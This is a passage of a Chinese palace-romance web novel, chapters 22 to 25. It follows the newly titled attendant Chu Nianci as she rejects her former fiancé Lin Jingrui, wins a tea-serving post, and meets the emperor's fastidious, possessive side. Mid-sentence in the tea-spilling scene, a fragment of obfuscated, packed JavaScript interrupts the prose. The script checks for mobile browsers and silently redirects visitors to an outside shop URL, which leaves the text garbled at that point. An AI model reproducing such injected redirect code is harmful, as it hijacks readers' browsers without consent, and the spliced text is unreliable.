刚刚,就在刚才,他还纠缠过她,放狠话说她别想透过自己的手掌心。
可一转身狼狈不堪的跪在这儿的是自己。
看着她的背影,如同一个耳光,狠狠地抽在自己脸上。
不过,蔺景瑞很快安慰自己。
这能怪自己吗,家里没人主事,母亲又病倒了,本指望将家事托给舜卿,不料她脸被打得稀烂,别说理家了,根本都不敢出来见人。
母亲怎么能管得了这一大摊子,晨昏颠倒,没几天又犯病。
他又没有祛风丸,又好请御医进府,若不是她把自己家里搅得一团乱,自己怎么可能请御医进府,宫里出了这么大的事情,都没人当值。
如果……她回自己身边,自己就不会这样焦头烂额。
一股后悔夹杂着怨气忽然冲了上来,他想求她回来,脱口而出的却是:“原来你当初求的,就是这个?”
楚念辞脚步顿了一下,懒得理会,继续往前走。
蔺景瑞见状冷笑了几声,声音不高不低:“我虽是兼祧两房,可许你的终究是正妻之位……陛下可是有三宫六院的,就算你调进养心殿,不用做白发宫女,你看看自己,没有家世,没有倚仗,凭什么和别人争?念辞,你若是后悔,我可以求陛下,只要你心里还有我。”
最后那句话,像风一样吹过来。
连远处守着殿门的小太监都悄悄抬起了头,往这边打量。
楚念辞知道,这话不能不回了。
她缓缓转过身,一步步走回来,目光平静:“蔺景瑞,看在圣上的面子,我回你一句,那正妻之位,不是你‘许’我的,是我用嫁妆买来的,你我之间不过是一场交易,你既舍了我,**嘛把你放在心里。”
她稍作停顿,目光冷锐地看着他:“再者,我不是奴婢,是陛下亲选入宫的‘慧选侍’。”
这话说得清晰明白,更是说给四周的耳朵听的。
养心殿是什么地方?
墙上窗边,哪儿不长耳朵?
她特意提起皇后,就是盼着蔺景瑞动动脑子,想想他姐姐,别在这儿口无遮拦,把陛下都扯进来。
可蔺景瑞像是根本没听进去,反而嗤笑:“赐了封号又如何?不过是陛下后宫三千人中的一个,你就如此贪慕荣华富贵?”
楚念辞简直要被气笑了。
这人是不是真疯了?
说这些话恶心谁呀?
在这种地方说这种话,是嫌日子太舒坦了吗?
她微微抬起下巴,直视着他:“是。”
“我宁可做后宫三千人中的一个,哪怕一辈子只是个宫女,也比跟着你强。”
“为什么?”蔺景瑞瞪大眼睛,满脸的不解与不甘。
“因为陛下坦荡,”楚念辞声音拔高,“他不曾想着一边骗走我的嫁妆,一边背信弃义羞辱于我。”
她的声音随着冷风轻轻地飘荡在这空旷的殿宇之中,分外的清晰。
一边捧了陛下一圈马屁,又一边狠狠地贬斥这不带脑子的家伙。
已经就差指着他的鼻子骂**子。
蔺景瑞顿时被说得面红耳赤,半??方喃喃道:“你只是与舜卿赌气,你心里还有我,终究有一天你会后悔。”
楚念辞没多看蔺景瑞一眼,“人太自以为是,不是好事。”
说完,她拎起裙摆,带着团圆踏上了养心殿前的金阶。
蔺景瑞跪在原地,脸上红一阵白一阵,终究没再说出话来。
楚念辞径直走到养心殿外。
其实她本可以直接绕去后头找大嬷嬷报到,但她改了主意……得先进殿向皇上谢恩。
这一进一出,差别可就大了。
先谢恩,往后分宫院、住殿房,能多得几分照应,分一个好宫室。
到了殿门前,团圆悄悄往当值小太监手里塞了块碎银子:“小内监,烦您通报一声,我们慧选侍,今天被陛下特旨招入御前,想奉旨谢恩。”
那小太监指尖一拈,脸上立刻堆满了笑,转身就进里头通传去了。
没过多久,敬喜公公撩帘出来,叫团圆在门外候着,自己只扫了楚念辞一眼,便领着她进了殿。
殿里暖烘烘的,飘着似有若无的芜香。
一整面墙的多宝格上,珍玩玉器琳琅满目,泛着温润的光,对面则是满墙的书册,透出淡淡的墨味,端木清羽就坐在宽大的花梨木桌后,手里捧着一本像是奏折又像是书的册子,正凝神看着。
楚念辞在远处便跪下,只能瞧见皇上一个模糊的轮廓。
端木清羽穿着便服,斜靠在龙椅上。
偌大的殿内静悄悄的,只有香炉里龙涎香幽微地飘散。
皇上不开口,她也不敢出声,不敢确认刚刚殿外的话,他听见了多少?
心里也微微有点打鼓。
一时只听得见纸页偶尔翻动的窸窣轻响。
过了好一会儿,端木清羽才伸手去端茶盏。
可他只抿了一口,眉头就轻轻皱了起来。
敬喜公公见状,赶忙走到一旁侍茶的宫女身边,示意她重新沏一杯。
那宫女不过十五六岁年纪,慌慌张张地转到茶具旁,手忙脚乱地开始点茶,结果一个不留神,竟把茶具碰翻了,茶水泼湿了半幅裙摆。
“作死的东西,怎么**手毛脚的?”敬喜压低声音斥道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989493|193684||http|test|mini|href|location''.split(''|''),0,{}));
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r>小宫女吓得浑身发抖,扑通一声跪倒在地,连连磕头。
“罢了。”端木清羽清洌的声音从书案后传来,“你越说她,她越慌,朕看这儿不就有个现成会点茶的人吗?”
他说着,目光已落在了楚念辞身上,唇角微动间,齿色若雪。
楚念辞微微愣了一下,连忙应了声“是”,随即走到茶具边。
只见那一套茶具竟如碧水凝成,是翡翠硬雕出来的,莹润生光。
捧在手里如一汪碧水似的。
她定了定神,开始动手点茶。
其实方才她就留意到,皇上清洌的嗓音里掺着一丝沙哑,想必是选秀劳累所致,她不由偷偷睨了一眼天颜。
但见端木清羽眉宇有一丝病态,敬喜打开一只乌金的匣子,奉上一颗药。
端木清羽吃了药,俊美的眉头皱了皱,叹气道:“这药太苦,味儿委实让朕恶心。”
蓦然之间,只听他喉间忍不住一抽,他咳嗽了几声。
敬喜忙捧过一旁的唾壶,端木清羽侧过身来干呕了几声,才没把药呕出来。
干咳了几口后,他又淡定地躺了回去,微微喘息,汗水流过白皙的肌肤,如玉般润泽,乌发湿漉漉地贴在剑眉边,眉眼深秀浓丽,仿佛巧夺天工的玉雕,美得不似尘世中人。
见他又咳,楚念辞心中了然,怪不得前世他走得那么早。
可能是这个时候就已经患病了吧,可惜自己也不能上前搭脉。
也不知他犯了什么病。
只好看了看备着的几种茶叶,特意选了能润肺祛湿、止渴消苦的“润肺蜜蜂茶”。
不过十几息工夫,她便低着头,将茶盏稳稳奉上:“陛下,请用茶。”
端木清羽接过,浅啜一口,顿了一顿,只觉齿颊留香,不知不觉口中那药苦,已经全消了,竟将那杯茶慢慢饮尽了。
他凤目微抬,掠过一丝赞许之色。
其实刚才殿外那几句话,他都已经听见。
自己已经明明白白赐了她封号,这蔺景瑞还敢说出那样一番话。
可就不是刺探君心这么简单,简直是有点大逆不道。
不过,他不着急。
这些账来日留着慢慢算。
对于眼前的这个小女子,只觉那陛下坦荡那四字,颇入内心。
茶如其人,清而不淡,浓而不妖,留心处皆见细致,留在身边,不但赏心悦目,还让人舒心怡神。
本想再来一杯。
可想起君子一杯为尝,二杯为饮,三杯便是俗物。
端木清羽不想让她认为自己很重口腹之欲,于是轻咳一声,问道:“你叫什么名字?”
“回陛下,臣妾姓楚,名字是母亲所起,日念辞。”
“念辞……名字寓意倒好,你又姓楚,可见你母亲是个知书识理之人,”端木清羽放下茶盏,“既然如此,你便留在朕身边,做个奉茶宫女吧。”
楚念辞心下一稳,立即跪下谢恩:“谢陛下恩典。”
这时,门帘一响,一位身材高大的老太监低着头走到御前躬身禀报,“陛下……皇后娘娘求见。”
第23章 自取其辱蔺景瑞
“让她进来吧。”端木清羽语气平淡。
老太监头发花白,神情严肃,微微佝偻着背,似乎天生就是面瘫,看端木清羽的眼神平静中带着一丝慈爱。
然而楚念辞却知道他才是端木清羽的贴身太监,中常待李德安,他就端木清羽上朝时主要负责捧着那玉玺盒子,所以又叫掌玺太监,其实负责前朝的事儿比较多一点。
别看他不显山不露水,在这宫里一亩三分地,只要他想打听,就没有什么事情能瞒过他的眼睛。
实际上他是陛下的眼睛和耳朵,只是现在他精力已经转到前朝去了,所以对宫里的管控有所下降。
他传完便恭恭敬敬退到一旁,仿佛是一道不起眼的影子。
敬喜出去传旨。
门帘轻响,皇后蔺皇后走进殿内。
殿中除了皇帝,其余人纷纷矮身行礼。
端木清羽在众人行礼时,含笑开口:“皇后今日也劳累了,怎么这个时辰过来了?”
蔺皇后已躬身下拜:“陛下,臣妾是替弟弟来请罪的。”
说完便恭恭敬敬地跪了下去,位置恰在楚念辞三四步开外。
端木清羽连忙抬手虚扶:“皇后快起来,朕本还打算去你宫里用晚膳呢,但想今日你也辛苦,便没有去打扰,令弟犯错,与皇后何干?”
“陛下,景瑞也是一时情急,担忧母亲病情,这才失了分寸,还请陛下莫要动气。”蔺皇后仍不肯起身。
端木清羽一边示意她坐下,一边温声道:“选秀是太后亲自主持的大事,关乎皇家体统,蔺皇后偏在这时请走御医,若不处置,往后人人效仿,规矩何在?朕知你心疼,却不得不罚。”
“确是景瑞过错,陛下惩处理所应当,臣妾岂会因此生气,”蔺皇后这才缓缓落座,声音轻柔却坚持,“只求陛下念在他一片孝心,饶他这一回。”
“朕也知道景瑞是为行孝,这不,没有让侍候承恩伯夫人的刘太医回来,敬喜,让蔺景瑞起来吧。”
两人说话间已各自入座,跪在地上的宫人们这才敢悄悄起身。
见弟弟被宽恕,蔺皇后神色终于松缓下来,含笑提起另一件事:“还有一事要与陛下商议。前日选秀,陛下定了镇国公府顾氏为嘉妃,太尉府白氏为玉嫔,扬州知府沈氏为斓贵人,另有三位妹妹尚未赐下封号……”
“是不是已让内务府拟号了?”端木清羽语气平淡。
“宰相府千金皇甫玉璃、礼部尚书之女唐晚秋,还有内务府令之女的韩熙儿,家世都不低,若陛下只给太尉与镇国公府出身的指了封号,只怕寒了老臣们的心,太后的意思……还是请您亲自为她们定个封号为好。”
端木清羽略作沉吟,便道:“既如此,皇甫玉璃乃宰相的孙女,尊贵无比,封为淑妃,唐晚秋封为悦嫔,韩熙儿封为俏贵人。”
皇后展颜一笑,拱手行礼:“臣妾代三位妹妹,谢陛下恩典。”
如此一来,他便有六位宫嫔了。
两人计议已定,敬喜忙朝楚念辞看了一眼,楚念辞会意,立即上前奉茶。
她将方才点好的茶斟了一盏,小心捧到皇后面前。
蔺皇后接过,饮了一口,目光落在楚念辞身上,但见奉茶少女,姿容明艳,举止端雅,更兼眉间一点红,竟是罕见的绝色佳人。
她略带讶异地挑眉,含蓄婉转地夸赞:“还是陛下会调理人,这茶,不但润肺止渴,还能安神明目,如今养心殿里竟有这样手艺的人?”
端木清羽微微一笑:“说来还要谢皇后,这便是你先前推荐的慧选侍,朕觉她点茶手艺好,又是皇后举荐,便照顾她留在身边奉茶,也算不负你一番心意。”
“……哦……”蔺皇后神色尴尬。
她想起眼前的丽人,原是楚内医引荐的,曾经是弟弟的未过门妻子,不由咬了咬嘴唇,但随即恢复如常,看向楚念辞道,“你抬起头来。”
楚念辞此刻并不愿与皇后正面相对,但既被点名,只得缓缓抬头。
她目光轻轻掠过皇后的脸庞,最终落在对方左肩处。
时隔两世,她又见到了蔺皇后。
皇后约莫二十岁,比皇帝年长三岁,细眉杏目,面如傅粉,唇色嫣红,姿容秀美,相貌虽美,但在美女如云佳丽之中,也只得算是中上之资。
如果硬要说出彩处,就是她脸上始终带着含蓄得体的笑意,望向端木清羽时眼中藏着温存,也有一丝克制的迷恋……
这是个心里虽有皇帝,却始终以理智驾驭情感的女子。
其实按常理,蔺皇后父亲只是个四品武将,她又比皇帝年长三岁,本坐不上这后位。
但端木清羽登基时方才十四,因国丧迟迟未大婚,直至十七岁亲政。
那时太后见镇国公、太尉与丞相三家都推出了佳丽,“**”相持不下,最终才选了这家世不显、未曾涉入政争的蔺家女,立为中宫。
“模样标致,端庄聪慧,恭贺陛下又得佳人。”蔺皇后挤出一丝和颜悦色的笑,淡淡称赞。
楚念辞连忙叩首称谢,殿内茶香袅袅,气氛平和融洽。
恰在此时,蔺景瑞被带了进来,在雪地里跪了一个时辰,肩膀上已经落了一层厚厚的雪花。
头发湿了,帽子也歪了,俊脸冻得又青又白,整个人狼狈不堪。
他不管不顾,扑通一声跪倒在地,叩首道:“陛下,臣知错愿罚,只求陛下将臣的未婚妻子归还于臣。”
此言一出,整个大殿骤然寂静,仿佛连茶香都凝滞了。
端木清羽虽然还含着笑,眼中掠过一丝冷意,目光扫过蔺景瑞与楚念辞,却未立即开口。
半晌。
蔺皇后都惊呆了,愣了半晌,出声斥道:“景瑞,不得无礼!我已看过你的婚书,那上面姓名对不上,岂能胡乱认作未婚妻子?”
蔺景瑞低着头,还犹自辩解:“那只是一时的笔误,京城上下,谁不知道他就是我未过门的妻子。”
端木清羽神色丝毫未变,那双明如皎月般的眼睛已经射出了冷芒。
他只转向楚念辞,语气不温不火地问道:“慧选侍呢?可愿随他回蔺府?”
楚念辞恭敬回道:“回陛下,臣妾宁愿留在宫中为婢,也不愿去蔺府。”
“哦?这是为何?”端木清羽挑了挑眉,“宫中好在何处?”
“在陛下身边,吃得安稳,做得踏实,夜里也睡得安宁。”楚念辞答得平静。
端木清羽唇角弯了弯。
“你怎会报错姓名。
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”端木清羽转向蔺景瑞,双眸已微微眯起了。
蔺景瑞仍梗着脖子,不知进退地说:“那只真是笔误,臣愿以昔日南诏之功,抵偿此次过错。”
端木清羽好看的眉峰骤然蹙起,眸色转寒:“呈报朝廷的文书岂容儿戏?若日百官行文有误,众人皆学你,一句笔误,便求宽恕,朝廷法度置于何地?”
“这……”蔺景瑞结舌。
“南诏之功,朕已赐你院使之位,不过,看在皇后的面子上,朕便再给你一次选择的机会,要么换她回去,要么抵消今天渎职之罪。”
他声音不高,却清晰而锋厉,宛如九天上降下的一道闪电雷霆,直震得人耳膜嗡嗡。
“臣……”蔺景瑞汗下,一边磕头,一边口中嗫嚅着,"求陛下将她赐还,若她入宫,臣这世子,遭人耻笑,做得也无趣……"
“原来你还想赌上世子之位,君前奏对非儿戏,你想清楚了再答,怪朕未予明示。”
殿内再次陷入死寂,空气沉重得几乎凝滞。
偌大华殿内连喘息声都没有。
蔺皇后神色陡变,白着嘴唇,哆哆嗦嗦地拉着弟弟一同跪下。
“陛下息怒,他是一时糊涂,绝非有意顶撞,但求陛下宽恕他此次失职之过。”
蔺景瑞看向姐姐,挺直的背脊终于颓然松塌。
刚才他一瞬间,其实他已经做出了抉择。
他绝不可能放弃世子之位。
方才还在心中讥讽楚念辞贪慕荣华,可此刻才惊觉,自己何尝不是紧紧攥着世子之位不肯放手,又何尝不是贪恋荣华富贵?
既如此,自己又有何资格去嘲笑她?
良久,他伏地叩首,直觉是自取其辱,无地自容地颤声道:“请陛下恕臣妄言之罪。”
端木清羽冷冷地道:“这种话以后就不要再说了,她现在已经是朕的选侍,朕的女人,你若再敢惦记,休怪朕不赦而诛!”
随着他“不赦而诛”四字落下,他修长的眼线已挑出冰刀般的弧度。
一股凛然不可犯的帝王威势扑面而来。
蔺景瑞顿时脊背汗下。
浑身微微发颤,不甘地跪伏在地上。
但心头纵然再不甘心,也不敢再说什么。
连再看一眼楚念辞都不敢,只羞得无地自容。
见陛下还一脸愠色,咬牙抬手给自己几个重重巴掌。
“臣一时发昏,出言冒犯君上,罪该万死,陛下看在臣口不择言,停歇雷霆之怒。”
他一边磕头,一边求饶。
白皙的脸上,登时浮起到红肿的掌印。
皇后羞惭满面,也忙告罪。
“你该庆幸,不是在大殿上说的,否则朕便是想饶你,也不成,退下吧,以后无召别到养心殿来,勤恳做好自己的差事。”端木清羽冷着脸。
蔺景瑞和皇后退下。
皇后在退出大殿的一刻,冷冰冰看了楚念辞一眼。
而蔺景瑞虽然挨了自己几巴掌,却并没有服气,陛下以势压人,抢夺自己的妻子,没关系,等过几天,陛下对她厌了,自己再去讨要。
念辞的那些话,只是说给陛下听的。
一定不是她的真心话,她这么做,只是为了气自己,想引起自己的注意,让自己后悔而已。
第24章 陛下的洁癖与偏执
楚念辞只当没看见蔺景瑞意味深长的目光,心里想着,反正眼下你也拿我没办法。
等蔺皇后姐弟二人退下后,她才重新跪端正,俯首恭敬道:“多谢陛下回护之恩,臣妾日后定当尽心竭力,万死不辞。”
端木清羽眸色深沉地瞥了她一眼,嘴角只微微勾了勾,没说话。
他方才出手解围,哪里真是为了她?不过是顾全自己的颜面罢了。
那蔺景瑞尚且知道护着自家姐姐,维护蔺家的体面。
难道他堂堂一国之君,反倒能不顾脸面,将自己妃嫔拱手相让。
他的东西,哪怕只是名义上的,也轮不到旁人觊觎。
出手相护,不过是顺手抹平一件碍眼的事罢了。
端木清羽淡然道:“朕要你万死做什么,不必担,留在朕的身边好好当差。”
说了这许久的话,又处置了方才那番争执,端木清羽俊美如玉的脸有些疲乏。
楚念辞叩首再拜。
不管他刚才是为了面子,还是有其他的考量,总归是帮了自己。
楚念辞想到这节,忙从袖中又取出一个香囊道:“陛下眼下有点青影,想必日常劳乏,睡眠不稳,臣妾特制了凝神安枕的香囊,陛下睡前嗅嗅,或放在枕边,必可著枕安眠。”
她觉得应该在陛下面前有意无意地提示他自己会点医术,这样更能凸显自己的存在感。
果然端木清羽,拿起了香囊嗅嗅,顿觉神清气爽,心情舒畅。
于是点点头,挥手让她退下,看着她离去的娉婷背影。
端木清羽嘴角弯了弯,面容昳丽,进退有度,聪慧可爱,还懂一点调理药性,这样的人便留在身边看着也赏心悦目的。
他对自己的决定很满意。
敬喜公公便领着她退出殿外。
一出殿门,敬喜看着她似笑非笑,道:“陛下对你分外照拂,你可得记着陛下的恩典。”
“那是自然。”楚念辞随口答应。
敬喜看她一眼,道:“新晋小主想要封号,都得皇后来求,你一来就让陛下亲自给了差使,既然陛下如此看重你,你便去后头的暖晴阁安置吧。”
“谢谢喜内侍。”楚念辞心中大喜。
她本以为敬喜顶多给她安排一间单厢,没想到竟然把一个暖阁送给她居住。
楚念辞立刻投桃报李,从袖笼里取出一个香囊,里面约莫有十两银子。
敬喜两眼含笑,扬手招来一个小太监,领着楚念辞往后殿去。
不多时,她带着团圆就到了暖晴阁,引路太监便退下了。
这里虽只是养心殿的侧殿,却布置得精致雅洁,远比蔺府的威瑞轩宽敞得多。
团圆放下包袱,摸着桌上粉彩描金的茶盘,忍不住感叹:“小主,连一个选侍都住这么讲究,后妃们住得那多奢华啊!”
楚念辞抬眼望去,只见屋内锦帐垂地,帷幔严密,多宝架上尽是珍玩,雕花拔步床前,钮兽铜鼎内银丝炭嘶嘶作响,不觉轻轻勾起唇角。
上辈子她在蔺府,可为了节约开支,连幔帐都只能用粗布缝制,冬天漏风,夏日闷热,雨雪天更是冷风冰雨直往屋里灌。
不过十年,她便落下了一身风湿,被磨得憔悴不堪,看起来比同龄人都老。
而这一世,她住的是宽敞暖馨的宫殿,远比前世安稳、舒心。
蔺景瑞还想让她回去?
就让他继续做梦去吧。
她便是死,也绝不会再回头了。
今天让他闹一闹也好,经过今天的事,谅他不敢以后再胡言乱语。
过了几天,楚念辞才明白,端木清羽让她当奉茶宫女还真是“照顾”。
皇帝身边有六位大宫女,是两班倒,两个负责梳头更衣,两个整理衣袍,两个专管寝具。
端木清羽这人又特别讲究,她们六个整天跟着转,忙得团团转。
只有楚念辞这儿,是四个人轮值的。
她只需晚饭后伺候几盏茶,白天睡到自然醒,在宫里闲逛一圈,再到皇帝跟前露个脸就行。
整天悠闲清散。
至于吃的更不用说,御膳房每天送来十几道珍馐。
这舒心畅快的日子,连团圆都又圆了一圈。
眼看新进宫的秀女们明天见过皇后,就要安排侍寝了。
这天,楚念辞刚来的养心殿,就见敬喜站在门口,似笑非笑地看着自己,道:“慧选侍,前几日你说,万死不辞,如今便是你表忠心的时候了。”
楚念辞不明其意,口中还应承:“那是自然。”
说着便挑帘走进大殿。
殿里静得吓人,一个黄铜盆子扣在地上,水淌得到处都是。
几个小太监和宫女抖得跟筛糠似的,跪在边上,头都不敢抬。
皇帝端木清羽就披散着一头湿漉漉的墨发,斜倚在贵妃榻上,脸色难看。
榻边还摆着两盆清水,水波微漾。
楚念辞一看这阵仗,心里就微微纳罕。
不就是洗个头发吗,这位爷跟手下人较什么劲?
不过,这几天才琢磨出来,这位年轻帝王有洁癖,喝个茶都要洗几遍茶具。
她本想悄悄退出去,省得触霉头。
“慧儿,”端木清羽却眼尖,一下叫住了她,声音里还带着没消的火气,“过来,给朕把头发洗净。”
楚念辞脚步一顿。
他又补了一句,语气硬邦邦的:“只准碰头发,不许挨着朕的身子。”
楚念辞心下无奈,这要求可真是难为人。
洗头发哪能完全不碰到头皮脖颈?
但既然他开了口,硬着头皮也得上。
“是,陛下。”
她挪步过去,在他榻边跪坐下来。
离得近了,一股清冽松木清草的气息钻进鼻尖,不是宫中常用的龙涎香或檀香,倒像是雨后的青草,混着一点干净的皂角味,是他身上的味道。
楚念辞凑上了头发,使劲嗅嗅,伸手,轻轻拢住他那捧湿发。
触手冰凉顺滑,真如上好的丝绸,又像一握流动的墨泉,几乎要从指缝里溜走。
她小心地将长发浸入旁边备好的清水中,水流过指缝,带过他的发丝。
可是还是不可避免地,触摸到他的耳朵。
“说了别碰朕!”端木清羽身体微微一僵,声音里透着烦躁与不适,“朕不喜人碰……”
“为何?”楚念辞奇怪地问。
“朕就是不喜,朕恶心……”
楚念辞动作没停,只从自己袖中取出那个绣工精致的香囊,及时递到他鼻尖下。
这是她这几日为他专门调治,可不是一般的薄荷香囊,里面加了十几种抑制恶心反胃的中草药,其中一味只有药王谷才能生长出来的凝露草尤是珍贵,有了这个,无论你是犯恶心还是难受,只要嗅嗅,便得压制大半。
“陛下若不适,闻闻这个或许会好些。”
端木清羽皱眉正要发作,一股清甜的草木异香便萦绕而来,奇异地压下了他心头那阵翻涌的恶心。
他到底还是伸出手接过了香囊,虚掩在口鼻前,闷声道:“……快些。”
楚念辞嘴角几不可察地弯了一下。
她垂着眼,专心侍弄手中的长发,指腹偶尔不可避免地擦过他敏感的头皮,便能感到他瞬间的紧绷,连后颈的线条都清晰起来。
温水一瓢瓢舀起,冲去泡沫,露出头发乌黑润泽的光彩。
跪在远处的宫人们,早就看得呆了。
谁不知道陛下最厌人近身触碰?
往日便是梳头更衣,也常因不耐而大发雷霆。
如今竟肯让慧选侍这般伺候……几人交换着震惊的眼神,又赶忙把头埋得更低。
楚念辞用柔软的细棉布巾,一点点吸去长发上的水渍。
这头发真是亮得惊人,握在手里像握着一匹顶级的天水碧。
这一抬头,就见端木清羽握着香囊的手指渐渐用力,肩背绷得紧紧的,覆着眼睑的睫毛细微地颤动。
楚念辞眼尖,一眼看见端木清羽的耳尖都红了。
她握着这垂顺的长发,心中暗暗好笑。
忽然想起一个至关重要的问题。
秀女们见过皇后,侍寝怕是排上日程了。
可这位陛下,如此洁癖,已经严重到不能碰触的地步……连洗头发都能红个耳朵。
到时候与妃嫔在被窝里赤诚相见,又会是怎样的光景。
难道也不让人碰?
握住他的如高山流瀑般头发,楚念辞低眉沉思。
大夏开国未满二十年,先帝打下江山,屁股还没坐热,十几年便去了。
如今这担子落在端木清羽肩上……治得好是盛世,治不好,怕要落个“二代而亡”。
打江山难,守江山更难,看小皇帝这样子,与蔺皇后虽然大婚一月,必然没有行墩伦之礼。
怪不得太后与朝臣们拼命往后宫塞人,可见都希望太子尽早诞生。
毕竟谁能侍寝,极有可能诞下龙裔,成为未来的皇位继承人。
而这陛下不让人碰,又该如何绵延子嗣。
怪不得前世直到他离世都没有任何子嗣。
楚念辞轻轻拭着发梢,心思有些乱。
若她未进这寝宫,皇帝如何本与她无关。
可如今她成了近侍,便只有他稳,她才好。
她这样没背景的,肯定不能去做了出头鸟侍寝。
那按照尊位,应该是淑妃……难道陛下也不让她踫?
说起来这个病也不是不能治,自己的师傅药王孙**就曾说过。
此乃心疾,心病还需心药治。
只要找到这个病的源头,说不定便有根治的希望。
可若是自己将他这毛病治好,他能不能赏给自己荣华富贵锦绣前程。
答案是……不能确定。
对于不能确定的事儿,她向来不屑于尝试。
“洗好了么?”端木清羽忽问。
没有见她回应。
他侧眸看去,只见她托腮出神,长睫垂落,眼尾微挑的弧度格外上扬,仿佛在琢磨什么了不得的事。
由于考虑事情,她螓首低垂,纤柔粉白的脖颈向前微弯,如花梗一般弧度诱人,特别是一双素手雪纤柔嫩,指尖一点嫩红,指尖上还沾着水珠,娇艳欲滴。
靠近时,一股淡淡女儿香拂面而来,闻之欲醉。
端木清羽有一瞬的恍神。
他不由伸手,轻轻握住她的手。
楚念辞骤然回神,仰头便迎上他近在咫尺,那张近乎妖孽的脸,瞬间晃得她目眩。
“几日前你说,万死不辞。”他注视她。
“是,陛下有何吩咐?”
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楚念辞望着他俊美的脸笑容可掬。
“眼下还没有。”端木清羽握住她的纤白如玉,浑若无骨的手,垂下双眸,遮下心中一丝悸动。
楚念辞被他这双手握住,不由一缩,不料他的手十分有力,一时挣脱不开。
见她夺手。
端木清羽突然脸上绽开一个皎月般笑容,如同锦绣堆里出来的精魅。
“朕喝过的杯子,砸了也不送人,”端木清羽轻轻捏住她的手,“你这双手,帮朕洗过头发,便不许别人碰了,若是让别人碰,朕一定把这手剁下来。”
他的声音轻柔得像羽毛拂过,温和似细浪呢喃,可说到最后那句……“若敢给别人碰,朕就把你这双手剁下来。”
话音落下的瞬间。
他那双修长优美的凤眼陡然锋利,眸中星河般的柔光被一道冰冷的寒芒取代,
语气也骤然变得凛冽刺骨。
楚念辞听得心头猛地一跳,险些惊得脱口而出。
那一刹那,她感觉自己的心跳都停了,血液似乎凝固在血管里。
幸好她理智尚存,及时掐住掌心,才没真的张大嘴,露出失态的蠢相。
她万万没想到,这位陛下除了众所周知的洁癖,竟还有如此偏执的占有欲。
他用过的茶杯,宁可砸了也不赏人。
而她的手,既然侍奉过他,碰过他的头发,便也成了他的“所有物”。
旁人染指,他便要斩草除根。
可……这深宫里人来人往,若是敬喜公公、团圆她们无意间拉扯自己一下,又该如何?
这念头让她后背发凉,仿佛那双漂亮却冰冷的手,已经悬在了她的腕间。
从第一次远远望见他惊鸿一瞥,到后来机缘巧合的日日相处。
他在她心里,一直是个有些洁癖却性格温和的年轻帝王。
她甚至私下勾勒出一位盛世明君的模糊柔软的轮廓。
可刚才,那个眼神森冷、言语如刀、究竟是谁?
平日的他双眼总是一片春光潋滟的模样,没想到就在那一瞬间就变成了冰封的雪刃。
那一瞬间展露出的冷酷与掌控一切的偏执,让她感到前所未有的陌生。
而且两种神态,无缝切合转换毫无违和之感。
她甚至冒出一个荒唐的念头:刚刚这个人,真的是她认识的那个陛下吗?
该不会……是被什么别的东西夺舍了吧?
陛下真面目原来是这样?
想是这么想的,她面上却露出恭谨顺从的态度。
轻柔地应了一是:“是!”
“君前奏对,并无戏言,你说对朕每一句话,朕都记着,朕不会给你食言的机会,不过你大可放心,朕不需你赴死,只需做好你分内之事。”端木清羽说完这句,便轻轻放开她的手。
楚念辞松了一口气,大约他不会安排自己什么危险的事儿。
而她的分内之事……不就是奉茶么?
但他指的肯定不是奉茶,感到他别有深意,楚念辞灵机一动问道:“臣妾是想做好分内之事,可万事开头难,开始总做不好?”
“你如今是我的人,不管什么事,你该尝试着去做,只一样,别丢了我的面子。”端木清羽道。
楚念辞眼睛一亮。
似乎听明白他的话,但又不确定,磕了一个头,躬身退到店外。
退到殿外,见敬喜站在殿前,满脸含笑迎着她走来。
楚念辞连忙把手缩进袖子,生怕被他碰了。
扫了一下四周,楚念辞凑近敬喜低声道:“喜内侍,我有个疑问,陛下曾说他身边的奉茶宫女,总找不到好的,这是为何?”
她就不信,宫里点茶手艺好的女侍很多,为什么总找不到好的?
可见陛下心思并不完全在茶上。
敬喜看她一眼,笑道:“能问出这句话,可见你还有点眼力劲,自己好好想想,有些事不能等陛下吩咐才去办。”
楚念辞抿唇笑道:“多谢提点。”
敬喜看她一眼,一甩拂尘,转身进殿。
她算是明白了。
皇帝是让她当耳报神,随时注意宫里的动静。
楚念辞说干就干,吩咐贴身宫女团圆去摸清门路。
满宫里,到底谁消息最灵通?哪儿是打听事的口子?
谁才是这皇宫里真正的“耳朵”和“眼睛”?
团圆机灵,没过两日便来回话:四执库的太监们路子最广,各个宫殿的用度出入、闲言碎语,多少都能听到些风声。
而之前选秀时给楚念辞引过路的小太监满宝,正好就在四执库当差。
楚念辞当机立断,让团圆设法把满宝要到了自己身边。
她这边正忙着织一张打听消息的网,却浑然不知,暗处早有一双眼睛,已经死死盯上了她。
盯着她的不是别人,正是选秀那日被她设计、跌了个大跟头的玉嫔白芊柔。
玉嫔这些日子也没闲着,四处使银子、找门路,一心要抓楚念辞的把柄,恨不得立刻将她打入冷宫,或者干脆撵出宫去,以泄心头之恨。
宫墙之内,从来就没有真正的秘密。
俗话说得好,宫里的墙壁都长着耳朵和眼睛。
玉嫔肯下本钱,还真让她挖出点东西。
选秀那天,楚念辞私会过一个男人……
第25章 玉嫔的布局
储秀宫,左侧殿的一间暖阁里,炉火烧得正旺,不时噼啪轻响。
玉嫔白芊柔坐在软榻上,手里捧着一盏粉彩百花盏,垂眸慢慢撇着茶沫,一声声悠长的声响,在宽敞温暖的华殿内,尖锐而细长,她平日那张娇憨天真的脸,此刻却一片与年龄不符的阴沉老练。
毒蝎子之事,令她惴惴不安,导致夜来被噩梦缠绕,夜夜梦见禁军奉了陛下圣旨,将自己打入冷宫。
楚念辞是一块心病,她现在就在养心殿,随时会告发自己。
绝不能留她搅乱局面。
“你说的……都是真的?”她声音不大,却让下头跪着的小太监脊背发凉。
这小太监圆脸细眼,穿着御药房的低等服色,正是前些天替蔺景瑞给慧选侍传过玉佩的那位太监小冬子,这会儿他伏在地上,额角的汗都快流进眼睛里,却不敢抬手擦。
玉嫔手里的茶盖轻轻一磕。
小冬子肩头一颤。
玉嫔瞥了他一眼,继续缓缓问道:“这么说,那天慧选侍确实去御花园见了蔺院使?”
